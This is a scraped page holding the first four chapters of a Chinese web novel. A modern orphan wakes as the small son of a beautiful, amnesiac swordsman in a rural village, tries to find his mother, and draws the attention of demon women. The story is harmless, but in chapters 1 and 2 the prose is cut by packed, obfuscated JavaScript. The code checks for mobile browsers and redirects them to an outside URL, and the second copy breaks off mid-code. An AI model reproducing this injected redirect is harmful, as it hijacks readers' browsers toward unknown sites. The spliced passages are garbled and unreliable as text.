《穿书成虐文仙尊生的崽》 1. 第 1 章 已是冬日,又下了一场雨。 荷花村几十里的藕塘凋落了残叶,干瘪的叶子被雨滴敲打着,婉转的曲调在村里流转着。 今年莲藕大丰收,各家各户都卖了不少银子,这样的日子最适合躺在家里,叫上三五邻居好友闲话家常,尤为惬意。 村口的小草屋里在风雨中显得有些萧索,与富庶的荷花村显得有些格格不入。 此时,屋内的小小少年正站在八角桌前,好奇横秋的背着手,他模样不过四五岁的样子,身上穿着新买的藏青子袍子,因为天冷还配了个浅色的小夹袄,头发梳的整整齐齐,雪白干净的小脸上一双如宝石般璀璨的大眼睛,两边耳垂上各长着一个红色的小痣,像是两个小小的耳钉挂着。 他正一丝不苟的指导着桌前的秀才,帮自己写寻娘启事。 “云戚,你看这样写可以吗?”陈秋生吹了吹宣纸上未干的墨迹,递给他看。 “我又不识字,秋生叔叔,你念给我听。”沈云戚说的理所当然。 当小孩就是好,尤其是还是古代农村的四岁小孩,那就更好了,可以不识字。 戚宝其实识字,在穿到这个世界来之前,他已经是个高中生了,但是陈秋生写的繁体字看着有些费眼睛。 “咳咳,找娘,我爹今年看上去二十五岁以上,身长八尺有余,生的花容月貌,十里八乡的女子都想嫁给我爹,四年前,可能是五年前,我爹带着我跟我娘走失了,带着我在荷花村安家,如果你有念念不忘顶顶英俊的郎君,那可能就是我爹!速来速来!”陈秋生通读了一番。 沈云戚很满意,确实是按照他说的来的,不过他又觉得有些不满意,道:“你说要不要多说一些我爹的信息,万一找不到我娘可怎么办?” “哈哈,若是在荷花镇找不到你娘的话,只能说明你娘在别处。”陈秋生笑着安慰道。 陈秋生是有见识的,他是荷花村里唯一的秀才,他去过城里,见过府城的大人,按照沈家父子二人的长相和气度,沈云戚即便穿着粗布麻衣也是个落难小少爷才对。 戚宝他爹也舍不得儿子穿破衣服,每次都给他穿得跟个小公子哥一样。 村里人早就达成共识,沈家父子两必定不是什么乡野之人,若真想要找到亲人,指不定要去奉京城,寻那些天潢贵胄才行。 沈云戚觉得他说的有道理,托着下巴,思索了片刻,眼珠子一转又是一个主意,道:“要不你把我爹的样子画在上面吧,若是我娘看到了我爹的模样,必定知道是他了。” “咳咳,咳咳咳咳咳。”陈秋生呛得直咳嗽,赶忙推辞道,“我才疏学浅,怕是画不出沈大哥千分之一的风采。” “那倒是。”戚宝十分赞同,且有些苦恼,若是去找个丹青造诣很高的画师,必定要画很多银子吧。 他爹实在太穷了,又帅又穷! 戚宝刚刚穿越来的那会,也就是三个月之前,他家的草屋子,房顶都是破的,夜里可以直接看星星,床也没有,直接在地上铺了稻草。当时他就躺在稻草堆里,被漂亮的不似凡人一般的男人抱在怀里。 戚宝当时没有反应过来,便被喂了一大碗苦的五脏六腑都要吐出来的草药,之后从美男焦急的话语里知晓了他是自己的爹。 于是,当了十七年孤儿的戚宝成了四岁的沈云戚,在荷花村安了家,有了个漂亮爹。 戚宝对这个四岁小孩的身份适应良好。 因为他的爹对他实在太好了,说话又温柔,有求必应,戚宝说什么便是什么,也就是这么好的性子,才总是被荷花村的人欺负。 荷花村的人最喜欢找他爹干活,但是不给钱。 他们父子两是外来户,他爹忘记了来村里之前的事情,用时髦一点的话说,他爹失忆了。 戚宝听村里人说,当年他爹一人一剑,浑身是血,怀里抱着不足月的他出现在荷花村,只有剑柄上刻着个“沈”字,众人便道那是他们的姓氏,于是爹给自己取名沈不忘,给他取名沈云戚。 村里人看他可怜,便匀了个破草屋,让他们父子在这里住下了。 他们俩无依无靠,也没有土地,沈不忘身手倒是不错,这些年靠打猎为生,每一次进山都能扛回来几百斤的猎物。 这上好的野味肉来了村里,便被大家分了,你家一点,我家一点,起先还能留一下让沈不忘去城里换钱,后来发现他并不计较,也从未要过钱银,一副视金钱如粪土的模样,于是众人便放肆起来了。 沈不忘是个不计较的性子,看上去像是高门大户的少爷,十指不沾阳春水,但是干活起来比谁都利索,浑身有使不完的牛劲。 戚宝穿来三日便发现了,村里人经常在他家白拿东西,还让他爹当免费劳动力。 爹可忍,儿不能忍!怎么可以这么压榨他的漂亮爹爹? 戚宝当时就气哭了,沈不忘急的不知如何是好,抱着他哄了好久。 于是戚宝进行一个调教亲爹的大动作,沈不忘便学会拒绝他们白嫖白拿,除了秋收的时候被各家要求帮忙采摘藕之外,已经全心全意将精力投入在自家上了,修整了几个月,破房子焕然一新。 这几日,戚宝还跟爹一起盘算了一下这些年给村里干了多少活,拿了他家多少猎物,戚宝以为爹只是心大记不得这些事情,不料沈不忘记性倒是很好,谁家拿了他一个子都记得清清楚楚,一一列出来。 甚至村长家还拿了他一个百年人参,戚宝去镇上药材店看了一眼,百年人参可以卖上百两有银子。 零零总总算了一下,统共有三百两。 戚宝差一点气晕在床上,感觉损失了一个亿。 近一个月来,戚宝督促着他爹回忆村里各家各户欠了他多少钱,拿着炭笔熬了几个大夜,终于写出了账单。 今日,他爹便拿着账单挨家挨户要债去了。 也不知道爹会不会碍于情面要不来银子,会不会乡亲父老见要的银子太多赖账? 戚宝觉得若是要回那些钱,肯定可以找个厉害的画师,把爹的神仙样貌画出来,这样,他娘亲一眼就能认出爹爹了。 他前辈子是孤儿,受够了人情冷暖,唯一的愿望就是有一个圆满的家庭。 戚宝正打算问陈秋生这附近最厉害的画师是谁,便听陈秋生提醒道:“还有啊,若是真的将沈大哥的样子画上去,画的十分相像,只怕来的人未必是你娘亲,会引来一群心怀不轨之人。” 沈云戚听懂了,深以为然。 万一有冲着他爹美貌的家伙来招摇撞骗,戚宝错过了真的娘亲事小,若是歹人,那可不好。 还有爹当年带着剑浑身是血的来到荷花村的,爹又忘记了自己的身份,若是引来仇家也不好。 戚宝思索了一番,觉得这个告示已经够用了。 若真有人来认亲,他还需要想几个只有他真娘才能答出来的问题才行。 “那就这样吧,多谢秋生叔。”戚宝收下了那张找娘启事,打算明日就去镇上张贴起来。 陈秋生打量了一番破屋子,感慨道:“你家收拾的倒是像个家了,祝你们早日一家团圆。” 戚宝笑得一脸灿烂,跳下凳子,送陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730247|157266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋生到门口,陈秋生撑起伞。 沈不忘正好要债回来,推开了小院子的门,他一身蓑衣,戴着斗笠,修长的身子十分挺拔,俊美的脸在雨幕中显得清冷锐意,眉眼被斗笠挡着,鼻梁挺拔,嘴唇殷红,下巴轮廓分明,半垂着脑袋雨水顺着帽檐流下,平添几分肃杀的冷意。 他不像个栖居乡村的猎户,倒是像个绝情冷酷的杀手。 陈秋生看他的时候心中生出些许惧意,问了声:“沈大哥,回来了?” “嗯。”沈不忘走到门口,摘下斗笠,露出那双温和的茶金色眸子,眼底带着些许笑意,浑身的肃杀的冷意消散。 沈不忘将身上的蓑衣挂在墙上。 戚宝开开心心的跟爹说道:“爹,我已经让秋生叔叔给我们写好了找娘启事,明儿我们就去镇上张贴,到时候我们一家三口就能团聚了。” “好。”沈不忘笑着弯腰,将戚宝抱起来,眉眼中的喜爱几乎要溢出来了。 陈秋生道了句:“那我走了啊。” “秋生叔叔再见。”戚宝有礼貌的跟他挥手。 沈不忘淡漠的颔首,陈秋生也习惯了,沈不忘是好脾气的人,可是对谁都冷冷淡淡的,只有面对自己儿子,才像是一个有血有肉的人。 陈秋生离开后,沈不忘抱着戚宝回了屋子,戚宝担心的小声询问:“爹,那你……要债,要回来了吗?” “这里,都给云戚保管。”沈不忘拿出一个钱袋子,里面满满当当的全是碎银子,铜钱,十分有分量。 戚宝顿时瞪大了眼睛,有些难以置信:“都……都要回来了吗?” 沈不忘思索了片刻,道:“村长拿走的百年人参,是给岳母补身子用的,不是拿去卖钱的,央求我给打个折,我便只收他五十两,不过他家一时半会拿不出那么多银子,先给了十两。” “啊?”戚宝呆了一下,又有些愤怒,“村长这不是欺负人嘛?” “云戚,你放心,我会把你的银子都拿回来的。”沈不忘笑道,看出了自家儿子是个小财迷的属性。 戚宝忸怩了一下,小脸红红的,问道:“那其他人都给了吗?” “嗯,都给了。”沈不忘应道。 戚宝有些诧异,没想到大家这么好说话,如果这么好说话,为什么之前还要占他爹的便宜? 该不会给了□□吧? 晚上,戚宝点着两个油灯,跟他爹一起坐在桌前,将铜钱碎银子全都拍在桌子上,一个一个开始数。 一直熬到深夜,终于算好了账。 给的不是□□,也如沈不忘所说,只有村长少给了四十两银子。 现在他们家一共有两万五千八百个铜钱和十五两碎银子,换算成银子的话也有265两,还多八百文。 打四年白工的爹爹,终于讨薪成功,成了有钱人啦! 戚宝用麻绳将铜钱穿成25贯,富有的滋味真好。 “满意了吧?”沈不忘笑问道。 戚宝冲着沈不忘龇了龇牙齿,笑得真心实意。 沈不忘揉了揉他的脑袋,道:“你呀,小财迷。” “只有好的经济基础,才能拥有幸福的生活,到时候娘回来了,咱们一家三口把日子过好,比什么都重要。”戚宝说的理直气壮。 沈不忘收敛了脸上的笑容,有片刻的迷茫,只听戚宝又问:“爹,你对娘真的一点印象都没有了吗?” 沈不忘看着乖崽崽闪闪的大眼睛,缓缓摇头。 戚宝小手握住他的大掌,认真的说道:“没事,孩儿一定会让爹爹幸福的。” 2. 第 2 章 戚宝觉得,他爹这样貌,这气质,这能干富有程度。 就算配公主也绰绰有余。 夜里,戚宝躺在床上的,开始第99次脑补爹和娘的爱情故事,这一次又是全新的版本。 他爹,原本是仗剑江湖的白衣侠客,江湖上流传着他许多传说,他娘身在闺阁的大家小姐,出门礼佛的时遇上了山贼,他爹路见不平英雄救美。 于是两人一见钟情,爱情就这样开始了。 可两人身份悬殊,门不当户不对,就被父母拆散了,于是爹带着刚出生的他远走他乡,伤心之余痛失记忆。 江湖上有他爹的传说吗? 戚宝觉得自己或许能去打听一番。 他爹身手如此了得,每次上山打猎都能抓到猛兽,武状元也不在话下! 下次编故事的时候,他爹就当武状元。 戚宝又在想,若是在荷花镇找不到他娘的话,就去更大的城市找找,去省府,去奉京,去考武状元,等他爹站得足够高,他娘就能看到他们了。 反正戚宝是不信村里说的闲话,说他娘跟别人跑了。 “爹,娘会不会已经去世了?”戚宝忽然有些不安,拉了拉被窝里的爹的手。 沈不忘在黑暗中睁开眼,听到这话,他沉默片刻,道:“不会的。” “真哒?”戚宝立即兴奋起来。 看吧,他爹就算失忆了,也记得娘绝对没有死。 父子两又聊了一会,戚宝渐渐没了声,他安安心心的抱着爹的胳膊睡觉。 冬日昼短夜长,过了午夜便冷得很。 好似才合上眼睛没多久,公鸡便开始打鸣了。 戚宝醒来的时候,他正躺在他爹的怀里,坐在摇摇晃晃的牛车上,牛车满载着稻草,后面还摆着一些皮草,也是他们家最近几个月攒下来的,还有一些村民挖的草药和其他什物放在木箱子里,也全都载着送到镇上去卖。 赶牛车的是村里的李大爷,陈秋生坐在另一边也是去镇里添些纸笔的,他手里拿着书一边看一边在心里默读,不放过分毫能读书的时间,很是努力。 比戚宝读高中还努力。 此时天色已经大亮了,天气晴好,太阳正对着他们晒,面上挡着一张帕子,隔绝了大多日光,戚宝伸手摘下帕子,迷迷糊糊的问道:“爹,我们到哪了?” 沈不忘低头看他,将他脸上乱糟糟的头发给捋顺,道:“刚刚出了村,先喝口水。” 戚宝坐起身,接过他爹递来的牛皮水袋,里面还加了一层内胆,所以此时的水还是热乎的,戚宝喝水的时候,他爹便将藏在怀里的水煮蛋拿出来,仔仔细细剥了壳。 白嫩的鸡蛋递到戚宝的面前,他接过,咬了一口。 “吃小口一些,当心噎着。”沈不忘摸了摸他的脑袋。 戚宝应了一声,小口小口的吃完,问道:“我还是第一次去镇上。” “嗯。”沈不忘皱了皱眉头,提醒道,“镇上人多,你要一直牵着爹的手,知道吗?” 戚宝重重的点头,十分乖巧懂事。 沈不忘笑了笑,陈秋生忽然挪到他们身边,搭腔道:“嘿,小戚也被你养的太娇了。” 戚宝抱着水煮蛋在吃,想要反驳,便听陈秋生又道:“沈大哥,待会我也可以帮忙看着云戚。” “嗯,多谢。”沈不忘淡淡的应道。 陈秋生挠了挠头,有话要说。 戚宝疑惑的看着他,问道:“秋生叔,你怎么了?” “其实我有个不情之请。”陈秋生不好意思的看向沈不忘。 戚宝疑惑的看着他,该不会又想白嫖他爹的劳动力吧? 沈不忘也没有开口。 陈秋生讪笑着,说道:“开年,我就要去京城赶考了,此去路途遥远,世道又十分凶险,不知道沈大哥能否同我一道上路?。” 戚宝小脸黑了下来,就知道! “我可以给你们银子!还有,以沈大哥的气度,指不定戚宝的娘亲就是京城的高门贵女,说不定还能去京城找到娘亲。” 这话算是劝说的说辞。 沈不忘听到要离开此处,心中不免生出几分不愿,好似这里有十分重要的事情。 戚宝倒是先开口了,眉头一皱,老气横秋的说道:“我们先在荷花镇找找再说,若是娘就在此处,我们去了京城岂不是错过了?” 陈秋生看向沈不忘:“沈大哥怎么说?” “都听崽崽的。”沈不忘内心毫无波澜,也没任何追求。 戚宝单手托腮,瞥了一眼陈秋生,他的脑袋可不是面团捏的,他爹若真从京城而来,还拿着剑穿着血衣,那势必是逃来的,京城那肯定有仇人。 戚宝已经脑补了他爹一人战几百人的追兵,带着他逃出来的英雄事迹了。 不怪戚宝爱脑补,是他爹给了他很多想象的空间,他爹毫无记忆,又跟村民的画风完全不一样。 陈秋生欲言又止,挠了挠头,打算之后再想想办法。 去镇上张贴告示,需要走衙门,陈秋生会办这些事,帮他们联系了县太爷,给了银子得了准许。 戚宝将自己大白话告示,贴在城中各人流量最大的告示栏上,南来北往的人都能看得到。 不一会儿就有人凑过来看了,听人念出告示上的字后,哈哈大笑起来,好似看到什么天大的笑话,什么顶顶好看的男子? 戚宝一行人将皮草和药材卖了,拿到钱银便到了镇上的酒楼吃午饭,二楼正好可以看到告示处。 于是几人便听到了喧闹人群传来的嘲笑。 “有什么好笑的?”戚宝趴在窗户上气得腮帮子鼓鼓的。 腰上忽然有一只手将他揽了回来,沈不忘道:“当心摔下去。” “爹,你去往那一站,大家就知道我说的没错。”戚宝的胜负欲来了。 沈不忘听到此话倒是犹豫了一下,陈秋生赶紧道:“别啊,你爹往那一站你还能找到你娘吗?” “为什么?”戚宝话一问出来,便性明白了,对哦,人去了,那就冲他爹美色来了! 差一点被愤怒气昏了头脑。 “算了,还是不去了吧,笑我们的人肯定就不是我娘了。”戚宝又说。 沈不忘表情一直平淡,店小二端上来一盘炒肉,道:“客官,你的菜来了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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掌柜的立即笑得合不拢嘴,这皮草是从沈不忘那花十两银子收来的,转手一卖便一百两,这可真是个好生意。 掌柜的还想推荐别的,便听女子又道:“我想向掌柜的打探点消息,不知是谁人把皮草卖给你的?” 掌柜的拿着五十两银子,愣了一下,抬眸看上女子那双眼睛,有些恍惚失了魂一般知无不言言无不尽。 柳音媚眼如丝,笑起来的时候脸上还有两个小小的梨涡。 得到了想要的消息,三个女子便带着狐狸皮草离开。 几人出城时便看到了镇上告示栏的时候,便被那贴【找娘】吸引了目光,柳音眉眼微微一动,上前了两步。 “姑娘,你怎么了?”有人问她。 “我……好像快找到我的夫君了。”柳音哽咽的说着,忽然抓住旁边一人问道,“张贴告示的人是谁,在哪里?” “啊?我不知道啊,你可以去衙门问。”那人看柳音生的容貌倾城,心动不已。 原来镇上找媳妇这么简单啊?要不他也试试? 3. 第 3 章 这一来一回便用了一整天,回到荷花村已暮色四合。 牛车在村里的泥巴路上摇摇晃晃的走着,有人见着沈家父子,笑呵呵的打招呼道:“云戚,还不快点带你爹回家,天大的喜事等着你了。” “什么喜事啊?”戚宝听到有喜事,便来了精神。 “你马上要有娘了。”赵大叔笑呵呵的说道。 戚宝顿时眼睛一亮,道:“哇,这么快,我们今日才去张贴了告示,娘这就找来了?” “那便好。”沈不忘摸了摸他的脑袋,又揉了揉他的耳朵,两边耳朵各生着一个小小的红痣,像是带着朱砂的耳钉似的。 手上传来凉意,沈不忘便从随身的包裹里将新买的兔毛围边的淡黄色小帽子拿出来,戴在他的脑袋上。 戚宝仰着头看他爹,笑的一脸灿烂。 荷花村一共错落着四五十户人家,这几年大家的生活过得都不错,大多数人家的房子也都翻新重建了,只有沈家还是草房子,扒拉在陈秋生的祖宅上,看上去摇摇欲坠的,之前破烂不堪,还是这几个月才翻修过屋顶,院子里也没有家禽,也无基业田地。 家境如此凄凉,沈不忘还带着个孩子,委实不是托付终身的好人选。 之前有几个看他自身相貌不错,相中他当上门女婿,尚未说几句话便要他将孩子送人,沈不忘自然不愿意。 后又有看中沈不忘的,以求助为由,将他骗去给城中好男风的有财主家当男宠,到了对方宅子,色心大发的土财主被沈不忘揍得面目全非,扒光了吊着小弟在义庄吹了一夜鬼风,吓得肝胆俱裂,不能人道。 土财主只能夹着尾巴做人,见到他只能退避三舍。 沈不忘以前家里穷,现在,他有钱了,村里所有人都知道,心思也便活络起来。 昨儿村里人可都出了一波血,虽然千不甘万不愿的不想给钱银,还是得给。 荷花村就靠沈不忘守着,不然哪有好日子可过啊。 沈家有钱了,这是个好事。 怎么的也得有20贯吧,那可是一大笔钱! 村里的妇人闻风而动,加上云戚想要找娘的事情是众所周知的,于是亲朋好友家有适龄女子,便托了媒人带上门跟沈不忘说亲。 这个世道就是这么现实。 戚宝兴冲冲的跑回家的时候,小院里候着一个媒人和三个妙龄少女,虽是妙龄,都是家里干农活的,相貌委实普通了些,便是芸芸众生的普通人,没有出彩的地方,朴实中透着几分害羞,都不敢拿正眼瞧沈不忘,只是悄悄的瞥一眼,随后便红了脸。 戚宝热切的目光变得寡淡,原来不是亲娘找来了,而是有人要给爹说媒啊。 媒人春兰是村长家的夫人,她见人回来,立即招呼道:“沈大官人啊,你可终于回来了,真是让我们好等,去镇上买了什么好东西?” 春兰作势要拿他的包裹,沈不忘冷冷的打断道:“春婶,有事直说。” 春兰嘁了一声,立即又露出笑容,道:“你瞧瞧你这宅子里也没有个贤内助,家不像家的,孤家寡人这么多年了,该给云戚找个娘,给自己找个暖被窝的,也好照顾你们父子俩起居。” 戚宝拉了拉他爹的手,仰头看他,沈不忘不需要他的提示,委婉拒绝道:“家宅小,住不下旁人。” “哎哟,你这话说的,家小不能推了盖大房子吗?实在不行去镇上买一间带院子的,只需要一百两,沈大官人又不是没钱,又不是不能挣钱。”春兰继续推销道,“还有这天气冷了,每天晚上回家被窝凉飕飕的,总得有个人暖被窝不是,还有云戚一个人也没个伴,若是来年有了弟弟妹妹,家里也热闹。” 戚宝强忍着翻白眼的冲动,这些人就是冲着他们家的银子来的。 沈不忘依旧冷冷的好拒绝道:“不必了。” “哎,你这人怎么这么不识好歹?”三个女子中,穿着最为体面的姜年站起来,脸上带着不悦,跟两个村姑一起上门已经让她很不爽了,现在竟然被这人这么冷漠的拒绝了,就算长得好看,她也忍不了。 戚宝赶紧替他爹解释道:“我爹还在等我娘回来了,若是另娶他人,我娘会伤心的。” “呵,你娘说不定早就死了,还等?”姜年刻薄的说道,而后又瞥了一眼沈不忘,“来荷花村这么多年也不见你去找人,今儿个倒是装起了大情种,也忒不要脸了。” 沈不忘淡淡的扫了她一眼,语调并无波澜:“有情无情,也与你无关,几位,请回吧。” 姜年被怼的脸色有些难看,她是小富之家,早早就相中了沈不忘,任凭别人上门说亲偏都不愿,去年想要沈不忘入赘的便是她。 姜年面上挂不住,气的一跺脚,冲出了院子。 另外两个少女也有些尴尬,一时不知说什么才好,春兰倒是笑着将采莲推到沈不忘的面前,道:“采莲,我侄女,屁股大,好生养,保管你三年抱两,若是真的要等云戚他娘,等他娘回来做小呗,男人三妻四妾正常,沈大官人你这么有本事,长得又好看。” 戚宝:…… 沈不忘冷酷的拒绝道:“我有云戚一个孩子就行了。” “一个哪够啊,人吃五谷杂粮,若是哪天出了意外,你不是白发人送黑发人?谁给你养老送终啊,多子多福懂不?”春兰满是不赞同的说道,开始给沈不忘讲大道理。 沈不忘听到这话,脸色骤然阴沉下来了,声音清冷如风一般:“你找死。” 春兰吓得失言,赶紧打了自己嘴巴几巴掌,道:“呸呸呸,当我放屁,沈大官人啊,你可别生气,我只是……” “滚。”沈不忘黑着脸,呵斥。 春兰吓得一个激灵,再也不敢多说话,带着两个姑娘赶紧走了。 沈不忘周身还缠绕着怒意,阴沉着脸,杀意滔天,竟然有人当着他面诅咒云戚,简直该死! 戚宝看着爹沉着脸不说话,伸手拉了他的手一下,道:“爹,我饿了,我们做晚饭吧。” “……好。”沈不忘声音有些哑然,从那股奇怪的情绪中回过神来。 沈不忘给戚宝做饭,在镇上买了排骨,家里还有土豆,便给云戚做一个土豆排骨焖饭,这饭菜的做法是云戚教他的,前段时间云戚还打算自己做饭,个头甚至没有灶台高,垫着个小板凳双手都拿不动锅铲。 后来他便将饭菜的做法告诉沈不忘,沈不忘亲自掌勺,变着花样给戚宝做吃的。 戚宝坐在火炉旁添柴禾,将火烧的旺旺的,火光照在他的小脸上,红扑扑的,时不时翻动一下烤在火堆旁的红薯,避免烧成焦炭。 沈不忘做饭的时候不说话,戚宝看他似有心事一般,宽慰道:“爹,你别听她胡说,我会永远陪着你的,等你老了,我也会孝顺你,不分家,就算我有孩子了,也要他们天天陪你玩,不会让你当空巢老人。” 沈不忘莞尔笑了笑,应了声好。 “再说了,我亲娘肯定比她们都好,我有预感。”戚宝双手托着下巴,十分期待。 沈不忘点点头,言不由衷的说道:“肯定,能生出云戚这么好的孩 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这里没有卷生卷死的考试,不需要每一次都保持第一名,拿奖学金,不需要同时打三份工,拿着微薄的工资活着。 戚宝享受此时与爹的温情时刻,最好一辈子都这样,不会长大。 沈不忘将热水端到床边,让他先漱口,再拿着帕子给他擦脸,擦洗的十分细致且温柔,擦完脸就牵起他的小手,一一擦拭着他的手指。 沈不忘替他弄完,准备离开,戚宝却抓住了他的手,迷迷糊糊的睁开眼,嘀咕了一句:“爹爹,我最爱你,就算找不到娘亲,也……” 实在太困了,一整句话尚未说完,便合上了眼睛。 沈不忘伸手碰了碰戚宝的脸颊,软嘟嘟的小脸雪白干净,睡觉的时候还撅着嘴巴,好像在生闷气一样,他嘀嘀咕咕了一句:“衣服也不脱就睡觉。” 天空黑沉沉的,村庄与夜色一同沉睡。 村庄外的小路上,飞奔而来的白红绿三道影子,快得出现了残影,若是有人看见,估摸着会以为自己看见了流星。 “姐姐,就是这个村子。”青衣女子的声音冷森森的。 “嗯,你们去吧。”白衣的女子声音不带一丝情绪。 红衣女子道:“姐姐,那个小孩血肉充满灵气,食之大补,你真的不杀他?” “我只想陪陪我的夫君。”柳音幽幽的叹了一口气。 红衣女子和青衣女子交换了一个眼神,细长的舌头舔舐了一下唇瓣,道:“既然姐姐不要,那妹妹就不客气了。” 红儿和青儿很快便消失在黑暗中,朝着沈家的草屋子奔去。 沈不忘替戚宝脱了衣服,盖上被褥,戚宝睡梦中将被子打开,要将手放在被子外面。 他握起圆圆的小手,正要将他的手塞进被子,额角的头发无风而动,空气中暗流涌动,沈不忘目光骤然变得冷厉,眼角的余光看向木门外,两道不善的气息袭来,木门不堪重负瞬间碎成了渣渣。 沈不忘回头看了一眼熟睡的云戚,又看着破损的木门,这么冷的天,万一云戚感染了风寒……简直不可原谅。 长剑出现在手中,沈不忘看向黑暗中的两个女人,凌冽的杀意铺展而去。 “你你……你是什么人?”青儿顿时慌了。 他并不是普通的猎户! “死人,不需要知道。”沈不忘声音很低,冷冷的。 4. 第 4 章 戚宝一大早被门外“叮叮当当”的敲打声吵醒,揉着眼睛,穿好衣服,打开房门。 “这房门,怎么看着有点陌生?”戚宝有些疑惑,并未多想。 随后出了院子,便看见沈不忘坐在院子里,工具箱摆在一边,拿着小锤子给院里的小门制作木质合页。 戚宝看了一眼小院的门不见了,问道:“爹,这门怎么了?” “被兔子撞坏了。”沈不忘回答道。 “兔子?”戚宝疑惑。 沈不忘指着地上躺着的一辆红棕色的死兔子,十分肥大,连皮带肉少说也有五十斤,长得膘肥体壮的,像是一辆小孩子开的小卡车一样,该不会变异了吧。 小院子里的门风吹日晒,也算年久失修,比较脆弱,被兔子撞坏也不足为奇。 戚宝看着肥兔子顿时眼睛一亮,道:“原来守株待兔说的是真的,兔子真的会撞死。” “嗯。”沈不忘测试了一下门板,扛着门重新装了上去,门栓也进行了重新加固。 戚宝去看那只创死的兔子,真的很大只,可以吃好几天了,冬天气温低,肉也不容易变质。 麻辣兔头,冷吃兔,烤兔腿,手撕兔,干锅兔肉! 他已经在脑海里想出了好几种吃法,他将自己的想法告诉沈不忘,沈不忘道:“那中午给你吃烤兔腿。” “好耶。”戚宝开开心心的说道,“也不知道下次还会不会有兔子创死在我们家门口?” 转念一想,还是算了吧,家里也没有那么多门可以撞。 他爹要这么早就起来修门,也怪辛苦的。 沈不忘的厨艺还可以,兔肉的香味很快在空气中飘散开来,荷花村盛产莲藕,在戚宝的要求下,还做了个桂花糯米藕,香甜的滋味在空气中飘散开去。 戚宝美滋滋的吃了兔肉,酒足饭饱的躺在我小椅子上晒太阳。 沈不忘坐在他旁边,拿着从陈秋生那边借来的书给戚宝念故事,故事说的是个秀才和狐妖的故事。 戚宝听得津津有味,沈不忘的声音也十分好听,他睁开眼睛看着他爹,瓷白色的皮肤十分细腻,眉骨很高,眼睛深邃,琥珀色的眸子也温柔如水,殷红的嘴唇一张一合的,念出来的故事也格外动人。 修长的手指拿着书卷,目光正认真的看着书中,读完一页,翻页的时候偏头看了一眼戚宝,嘴角微微扬起,冲着戚宝微微笑着。 他爹,沈不忘,不带任何亲儿子滤镜的评价,绝世大帅哥! 跟荷花村里那些庄稼汉猎户的画风都不一样,谪仙般的人。 戚宝就是他爹的头号铁粉! 退一万步说,他娘会不会是仙女了? 戚宝甩了甩脑袋,将乱七八糟的猜想甩出脑海。 “老沈啊,老沈在家不?”粗犷的汉子在门外喊着。 沈不忘仿若未觉,只听外面的声音越来越近,道:“老沈啊,有大事需要你帮忙。” 三五个年轻人走进院子,他们都是村里狩猎队的,每次上门都是遇上了棘手的猎物,需要沈不忘帮忙去猎,这次也不例外。 沈不忘放下手中的志怪故事,问道:“何事?” “西山上出现了一只吃人大虫,周遭几个村庄都遭了殃,这半个月已经吃了五人有余。”为首的络腮胡大叔愁眉苦脸的说道,“只怕过几日下雪了,大虫更找不到吃食,便会下山进村吃人,所以我们狩猎队想去将那大虫猎了,老沈啊,你能陪我们一起去吗?” 沈不忘其实最近不打算进山的,他看了一眼戚宝,思索了片刻,道:“西山吗?” “对对,就是西山。”胡大勇又道,“若是你不放心小戚的话,让他去我家,二牛在家无事可做,可以陪小戚一起玩。” 沈不忘点点头,道:“好,等我收拾一番,这就去。” 昨夜来了两个妖物,一黄一绿,绿色的那只受伤逃走了,逃去的地方便是西山。 西山是一座十分狭长的山脉,上古时期便在,寻常人是不敢往山里走的,遮云避月的原始森林,未知的危险和野兽让人们心生惧意,不过山林深处又蕴藏着许多大自然的宝物,药材,食材,值钱的动物皮草。 所以总有人冒险,抱着富贵险中求的心思去山里寻宝。 胡大勇说的大虫吃人,倒不是有人进山被吃的,而是大老虎下山吃人了。 最近几桩惨案是老虎堵在回村的路上,吃掉了几个放牛的小孩和牛,那老虎怕是在山里找不到吃的了。 沈不忘说的收拾一下,其实是安置戚宝,他将戚宝送到胡大勇家去。 二牛正在院子里喂鸡,他年纪比戚宝大几岁,是家里的老二,老大已经跟胡大勇一起上山打猎了,戚宝不是很喜欢跟二牛玩因为他也想当他爹的儿子,但是为了让爹安心,只能呆在这。 二牛喂完了鸡开始喂猪,喂完了猪开始剁干草喂牛,十分能干,戚宝就跟着他,偶尔搭把手。 “云戚,你说我叫二牛,还要伺候牛,为什么我不直接当牛?”二牛最不喜欢的就是剁干草,给牛囤的过冬的草料都是韧性十足的老草,需要花费更多的力气才能斩断。 戚宝:…… “如果我是牛就好了,这样还有人伺候我吃喝。”二牛一边剁草一边抱怨。 戚宝沉默片刻,看着二牛正等着他回复,回道:“可是牛要耕地,也要干活的。” “那我也要耕地干活,还要播种施肥收割,我干的活比牛多多了!”二牛不满的说道,又思索了一下牛还会被借走耕别人家的地,又道,“那我还是当猪好了,吃了睡睡了吃,不用耕地。” “过年会被杀了吃肉。”戚宝道。 二牛噎了一下,乌溜溜的眼睛盯着戚宝,一脸羡慕的说道:“还是你好,家里没有田地,就不用耕地,而且你爹对你也好。” 戚宝对这话十分赞同。 “你什么活都不用干,天天跟个小少爷一样。”二牛说到这里,话锋一转问道,“你问问咱爹,还要不要儿子,我二牛愿意当他的儿子。” “……”又来了又来了,戚宝翻了个大白眼。 “好不好嘛?让咱爹收我当儿子。”二牛哭哭唧唧的十分可怜。 戚宝叹息了一声,古代人就是这般,生的孩子便是劳动力,从小便要学会干活,二牛不过才八岁,放在现代也就是读小学的年纪,可二牛却要做家务从早做到晚,等到了年纪结婚生子,然后生下一个二牛。 二牛的亲娘还去世了,他爹给他娶了个后娘,每天不止有干不完的活,还吃不饱穿不暖,一顿一个干馒头。 这一切在胡大勇的口中却是,他没什么事情可以干,在家闲着没事。 